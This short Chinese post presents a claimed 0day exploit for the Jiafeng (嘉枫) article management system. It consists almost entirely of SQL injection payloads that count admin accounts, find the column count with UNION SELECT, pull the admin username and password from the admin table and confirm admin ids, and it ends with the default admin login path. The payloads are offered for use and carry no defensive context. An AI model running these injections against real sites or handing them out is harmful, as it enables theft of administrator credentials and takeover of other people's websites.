推荐投稿:嘉枫文章系统0day利用

’and 1<(select count(*) from admin) and’%’=’ 猜管理员个数
’union select 1,2,3,4,5,6,7,8,9,10,11 from admin where id=1 and ’%’=’ 默认表段个数

’union select 1,password,3,4,5,6,7,8,admin,10,11 from admin where id=1 and ’%’=’ 默认管理员密码和名字存放表段

’and exists(select * from admin where id=1) and ’%’=’ 猜管理员id

默认后台 admin/admin_login.asp